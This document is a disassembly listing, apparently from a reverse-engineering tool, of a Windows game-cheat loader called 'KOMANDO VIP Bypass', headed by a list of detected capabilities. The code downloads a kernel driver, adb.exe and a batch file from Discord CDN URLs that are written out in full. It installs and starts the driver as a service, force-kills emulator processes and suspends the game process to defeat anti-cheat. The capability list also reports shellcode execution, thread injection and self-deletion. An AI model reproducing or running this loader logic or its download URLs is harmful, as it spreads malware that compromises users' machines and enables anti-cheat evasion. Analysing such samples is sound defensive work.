Function at 0x459df0
Capabilities:
Allocate or change rwx memory
Create thread
Delete file
Download url
Execute command
Execute shellcode via indirect call
Inject thread
Persist via windows service
Receive data
Self delete
Set console window title
Spawn thread to rwx shellcode
Terminate process

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5bfd91
mov eax, dword fs:[0]
push eax
sub esp, 0xf8
mov eax, dword [0x645bc0]
xor eax, ebp
mov dword [ebp - 0x10], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.0044db40
call fcn.0044db70
push str.KOMANDO_BYPASS_VIP
call dword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
call dword [sym.imp.KERNEL32.dll_GetConsoleWindow]
mov esi, eax
lea eax, [ebp - 0xe4]
push eax
push esi
call dword [sym.imp.USER32.dll_GetWindowRect]
push 1
push 0x1c2
push 0x352
push dword [ebp - 0xe4]
push dword [ebp - 0xe0]
push esi
call dword [sym.imp.USER32.dll_MoveWindow]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0xa
push 0x44dfb0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.___n_n_n_n____________________________________________________________________________________________________n_____________________________________________________________________________________________n____________________________________________________________________________________n________________________________________________________________________________________n_______________________________________________________________________________________n__________________________________________________________________________________n______________________________________________________________________________________n_______________________________________________________________________________________n____________________________________________________________________________________________________n____________________________________________________________________________________________________n__________________________________________________________________n
mov ecx, eax
call fcn.00460390
push eax
call fcn.00460830
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
add esp, 8
push 0x44dfe0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.___Welcome_To_KOMANDO_VIP_Bypass_n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfe0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.____THIS_PREMIUM_VERSION_n
mov ecx, eax
call fcn.00460390
mov ecx, 0x67eab0
call fcn.00453de0
call fcn.00456630
test al, al
jne 0x459ee4
push 0
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
push 0xe
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.C:hookdrv.sys
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x78], 0
movups xmmword [ebp - 0x8c], xmm0
call fcn.004561e0
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push 0x634b3c
cmova eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
mov edi, dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fclose]
add esp, 8
test eax, eax
je 0x459f44
push eax
call edi
add esp, 4
mov byte [ebp - 0x69], 0
jmp 0x459f48
mov byte [ebp - 0x69], 1
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x459f81
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x459f77
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x459f77
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
cmp byte [ebp - 0x69], 0
mov esi, dword [sym.imp.urlmon.dll_URLDownloadToFileA]
je 0x459f9f
push 0
push 0
push str.C:hookdrv.sys
push str.https:__cdn.discordapp.com_attachments_899968134805598208_961116635278741514_hookdrv.sys
push 0
call esi
sub esp, 0x18
xorps xmm0, xmm0
mov ecx, esp
push 0x36
movups xmmword [ecx], xmm0
push str.sc_create_driver_binPath_C:hookdrv.sys__typefilesys
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0xf
push str.sc_start_driver
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
push str.C:WindowsExit.bat
call dword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll_remove]
add esp, 0x1c
mov dword [ebp - 0x7c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x78], 0
lea ecx, [ebp - 0x8c]
movups xmmword [ebp - 0x8c], xmm0
push 0x12
push str.C:Windows_adb.exe
call fcn.004561e0
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push 0x634b3c
cmova eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45a058
push eax
call edi
add esp, 4
mov byte [ebp - 0x69], 0
jmp 0x45a05c
mov byte [ebp - 0x69], 1
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x45a095
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a08b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a08b
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
cmp byte [ebp - 0x69], 0
je 0x45a0ad
push 0
push 0
push str.C:Windows_adb.exe
push str.https:__cdn.discordapp.com_attachments_1147342826712072223_1173363395475558530_adb.exe_ex6563aed1is655139d1hm6ff610c05191a542828b07b0eb776902614c60c931e81940b5c712c1581a2a5a
push 0
call esi
push 0x18
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.C:WindowsAdbWinApi.dll
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x78], 0
movups xmmword [ebp - 0x8c], xmm0
call fcn.004561e0
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push 0x634b3c
cmova eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45a107
push eax
call edi
add esp, 4
mov byte [ebp - 0x69], 0
jmp 0x45a10b
mov byte [ebp - 0x69], 1
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x45a144
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a13a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a13a
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
cmp byte [ebp - 0x69], 0
je 0x45a15c
push 0
push 0
push str.C:WindowsAdbWinApi.dll
push str.https:__cdn.discordapp.com_attachments_1147342826712072223_1173363395475558530_adb.exe_ex6563aed1is655139d1hm6ff610c05191a542828b07b0eb776902614c60c931e81940b5c712c1581a2a5a
push 0
call esi
push 0x13
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.C:WindowsExit.bat
lea ecx, [ebp - 0x8c]
mov dword [ebp - 0x78], 0
movups xmmword [ebp - 0x8c], xmm0
call fcn.004561e0
cmp dword [ebp - 0x78], 0xf
lea eax, [ebp - 0x8c]
push 0x634b3c
cmova eax, dword [ebp - 0x8c]
push eax
call dword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_fopen]
add esp, 8
test eax, eax
je 0x45a1b6
push eax
call edi
add esp, 4
mov byte [ebp - 0x69], 0
jmp 0x45a1ba
mov byte [ebp - 0x69], 1
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x45a1f3
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a1e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a1e9
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
cmp byte [ebp - 0x69], 0
je 0x45a20b
push 0
push 0
push str.C:WindowsExit.bat
push str.https:__cdn.discordapp.com_attachments_899968134805598208_961116692379992084_Kill_All.bat
push 0
call esi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e040
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Select_emulator_:_1__SmartGaga_____2__Gamelop_7.1__n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df80
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Your_Choice_:
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0xb8]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e040
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Select_Emulator:_1_GL___2_KR___3_VN___4_TW__
mov ecx, eax
call fcn.00460390
push 0x44e040
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._5_BGMI_n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df80
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Your_Choice_:
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0xac]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfb0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Do_you_want_to_enable_IPAD_View__
mov ecx, eax
call fcn.00460390
push 0x44dfe0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.1._Yes
mov ecx, eax
call fcn.00460390
push 0x44e040
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.2._No_n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df80
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Your_Choice_:
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0xb0]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfb0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Do_you_want_to_enable_No_Headshot__
mov ecx, eax
call fcn.00460390
push 0x44dfe0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.1._Yes
mov ecx, eax
call fcn.00460390
push 0x44e040
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.2._No_n
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df80
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.Your_Choice_:
mov ecx, eax
call fcn.00460390
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_istream_char__struct_std::char_traits_char___std::cin]
lea eax, [ebp - 0xd4]
push eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_istream_char__struct_std::char_traits_char______thiscall_std::basic_istream_char__struct_std::char_traits_char__::operator___int__]
mov esi, dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
push str.adb_kill_server
call esi
sub esp, 0x14
xorps xmm0, xmm0
mov ecx, esp
push 0x22
movups xmmword [ecx], xmm0
push str.taskkill__F__IM_AndroidProcess.exe
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0x20
push str.taskkill__F__IM_ProjectTitan.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0x23
push str.taskkill__F__im_AndroidEmulator.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0x25
push str.taskkill__F__im_AndroidEmulatorEx.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
mov ecx, esp
xorps xmm0, xmm0
push 0x1c
push str.taskkill__F__im_Gameloop.exe
movups xmmword [ecx], xmm0
mov dword [ecx + 0x10], 0
mov dword [ecx + 0x14], 0
call fcn.004561e0
call fcn.00457ee0
add esp, 0x18
lea ecx, [ebp - 0xfc]
call fcn.00459250
mov dword [ebp - 4], 0
lea ecx, [ebp - 0xd0]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0xc0], 0
push str.emulator
movups xmmword [ebp - 0xd0], xmm0
mov dword [ebp - 0xbc], 0
call fcn.004561e0
sub esp, 0x18
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x70], esp
lea eax, [ebp - 0xfc]
push eax
call fcn.0045d760
sub esp, 0x18
mov byte [ebp - 4], 2
lea eax, [ebp - 0xd0]
mov ecx, esp
push eax
call fcn.0045d760
mov byte [ebp - 4], 1
call fcn.004593a0
mov edi, dword [sym.imp.KERNEL32.dll_Sleep]
add esp, 0x30
cmp eax, 0xffffffff
je 0x45a53a
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str.___Emulator_is_already_running
mov ecx, eax
call fcn.00460390
jmp 0x45a72d
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [ebp - 0xb8]
call fcn.00458000
call fcn.00459010
test eax, eax
je 0x45a68c
cmp eax, 1
je 0x45a68c
push str.adb_kill_server
call esi
add esp, 4
lea ecx, [ebp - 0x28]
call fcn.00459250
mov byte [ebp - 4], 3
lea ecx, [ebp - 0x8c]
push 8
xorps xmm0, xmm0
mov dword [ebp - 0x7c], 0
push str.emulator
movups xmmword [ebp - 0x8c], xmm0
mov dword [ebp - 0x78], 0
call fcn.004561e0
sub esp, 0x18
mov byte [ebp - 4], 4
lea eax, [ebp - 0x28]
mov dword [ebp - 0x70], esp
mov ecx, esp
push eax
call fcn.0045d760
sub esp, 0x18
mov byte [ebp - 4], 5
lea eax, [ebp - 0x8c]
mov ecx, esp
push eax
call fcn.0045d760
mov byte [ebp - 4], 4
call fcn.004593a0
add esp, 0x30
cmp eax, 0xffffffff
jne 0x45a698
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x45a654
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a64a
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a71d
push ecx
push edx
call fcn.005bb658
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x45a68c
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a682
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a71d
push ecx
push edx
call fcn.005bb658
add esp, 8
push 0xbb8
call edi
jmp 0x45a588
push 0x2710
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Emulator_is_ready
mov ecx, eax
call fcn.00460390
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0x78]
cmp ecx, 0xf
jbe 0x45a6f3
mov edx, dword [ebp - 0x8c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a6e9
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x45a71d
push ecx
push edx
call fcn.005bb658
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x14]
cmp ecx, 0xf
jbe 0x45a72d
mov edx, dword [ebp - 0x28]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x45a723
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x45a723
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.005bb658
add esp, 8
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfb0
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Broken_AntiCheat
mov ecx, eax
call fcn.00460390
push 0x1e
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0xdac
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0xdac
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634c10
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___com.tencent.ig_com.KOMANDOgames.ue4.SplashActivity
mov ecx, eax
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df50
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n____122_KB_s__350_Bytes_1n_0.00s_
mov ecx, eax
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df50
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n____83_KB_s__156_Bytes_2n_0.00s_
mov ecx, eax
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44df50
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n____83_KB_s__86_Bytes_3n_0.00s_
mov ecx, eax
call fcn.00460390
push 0x1f4
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Starting_game
mov ecx, eax
call fcn.00460390
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634790
call fcn.00460390
push 0x32
call edi
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
mov edx, 0x634c10
call fcn.00460390
mov ecx, dword [ebp - 0xac]
call fcn.00458dd0
call fcn.0046bd40
mov esi, eax
mov dword [ebp - 0x104], esi
test esi, esi
je 0x45a89d
cmp esi, 1
jne 0x45a8a6
push 0x3e8
call edi
jmp 0x45a887
push 0x1068
call edi
push 0x32
call edi
push 0x32
call edi
push 0x32
call edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push 0x2af8
mov dword [0x64d750], eax
call edi
push esi
push 0
push 0x1fffff
call dword [sym.imp.KERNEL32.dll_OpenProcess]
push str.NtSuspendProcess
push str.ntdll
mov esi, eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
push esi
call eax
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44e010
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov edx, str._n___Game_Found_PID_:
mov ecx, eax
call fcn.00460390
push 0x44dfe0
mov ecx, eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
mov esi, dword [ebp - 0x104]
mov ecx, eax
push esi
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___int_]
push 0x1f4
call edi
mov edx, 0x40
mov dword [ebp - 0x50], 0x464c457f
lea ecx, [ebp - 0x50]
mov dword [ebp - 0x4c], 0x10101
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
mov dword [ebp - 0x40], 0x280003
mov dword [ebp - 0x3c], 1
mov dword [ebp - 0x38], 0x22a9000
mov dword [ebp - 0x34], 0x34
mov dword [ebp - 0x30], 0x8d73400
mov dword [ebp - 0x2c], 0x5000200
mov dword [ebp - 0x28], 0x200034
mov dword [ebp - 0x24], 0x28000d
mov dword [ebp - 0x20], 0x180019
mov dword [ebp - 0x1c], 6
mov dword [ebp - 0x18], 0x34
mov dword [ebp - 0x14], 0x34
call fcn.0046c250
mov dword [0x64d860], eax
call fcn.00459490
mov ecx, dword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
push 0x44dfe0
mov dword [ebp - 0x100], eax
call dword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______thiscall_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char_______cdecl___class_std::basic_ostream_char__struct_std::char_traits_char_____]
